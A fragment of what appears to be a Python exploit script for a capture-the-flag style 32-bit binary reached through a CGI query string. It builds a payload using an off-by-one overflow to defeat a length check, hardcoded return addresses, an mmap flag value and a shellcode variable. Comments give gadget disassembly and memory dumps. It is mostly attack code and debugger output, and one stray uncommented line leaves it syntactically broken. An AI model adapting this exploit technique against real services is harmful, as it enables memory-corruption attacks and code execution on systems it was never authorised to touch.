t_s = "9"*33   #Trigger off by one overflow at
    # for ( i = 0; i < strlen(ptr_query); ++i )
        #{
        #if ( i > 32 )
        #{
            #printf("ERROR t_s size\n");
    #        break;
        #}
    # So length check at
    #for ( j = 0; ; ++j )
        #{
        #len = strlen(ptr_query);
        #if ( j >= (unsigned int)len )
        #break;
        #if ( j > lenCheck )                       // val8 thay doi 1 byte ==> 0xff
        #{
        #   printf("ERROR v size\n");
        #   exit(-1);
        #}
    # now lenCheck has value 0x39 ( "9" )
#t_s  = "1339261782"+"9"*23
vBuff = "1"*12+"1"*18+sc
#vBuff = "pOFogiGf"+"\xcc"*24
agent = "\x63\x88\x04\x08"
   #0x8048863 <vprintf@plt+15>:  (bad)  => to align with "[
   #0x8048864 <sprintf@plt>:     jmp    DWORD PTR ds:0x804b034
   #0x804886a <sprintf@plt+6>:   push   0xd0

charAt0 = "\x3c\x90\x04\x08"
  # Point to 0x00
    #( !*charAt0 && *charAt100 )
        #{
        #   jumpout(0);
        #   return -1;
        #}

rport =  "\xca\x8b\x04\x08"
    #   0x8048bca:   push   esi
    #   0x8048bcb:   push   ebx
    #   0x8048bcc:   lea    eax,[ebp-0x44]
    #   0x8048bcf:   lea    edi,[ebp-0x44]
    #   0x8048bd2:   mov    esi,0x8049d20
    #   0x8048bd7:   cld
charAt100 = "\xff\x8f\x04\x08"
    #Same as charAt0

raddr ="\xc9\x8b\x04\x08"
    #Same as rport

mmflag = "\x01\x01\x01\x32"
    # MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS
v =   vBuff + agent  + charAt0     + rport     + charAt100    + raddr   + mmflag
QUERY_STRING = "q=sent&v="+v+"&t_s="+t_s

# Sice we have esi -> query string so we find some gadgets to push esi to stack, use it at parameter to
# sprintf call
#x/40i 0
#   0x0: pop    ebx
#   0x1: push   edi
#   0x2: push   esi
#   0x3: push   ebx
#   0x4: lea    eax,[ebp-0x44]
#   0x7: lea    edi,[ebp-0x44]
#   0xa: mov    esi,0x8049d20
#   0xf: cld
#   0x10:        mov    ecx,0x565b5d0f
#   0x15:        push   ebx
#   0x16:        lea    eax,[ebp-0x44]
#   0x19:        lea    edi,[ebp-0x44]
#   0x1c:        mov    esi,0x8049d20
#   0x21:        cld
#   0x22:        mov    ecx,0xff5b5d0f
#   0x27:        jmp    DWORD PTR ds:0x804b034

After 0x27:        jmp    DWORD PTR ds:0x804b034

#0x0:    0x3935ac11      0x31313131      0x31313131      0x31313131
#0x10:   0x31313131      0x31313131      0x31313131      0xeb313131
#0x20:   0x08048863      0x0804903c      0x08048bca      0x08048fff
#0x30:   0x08048bc9      0x32010101      0x735f7426      0x3939393d
#0x40:   0x39393939      0x39393939      0x39393939      0x39393939
#0x50:   0x39393939      0x39393939      0x39393939      0x6d263939
#0x60:   0x9090903d      0x90909090      0x90909090      0x90909090
#0x70:   0x90909090      0x90909090      0x90909090      0x90909090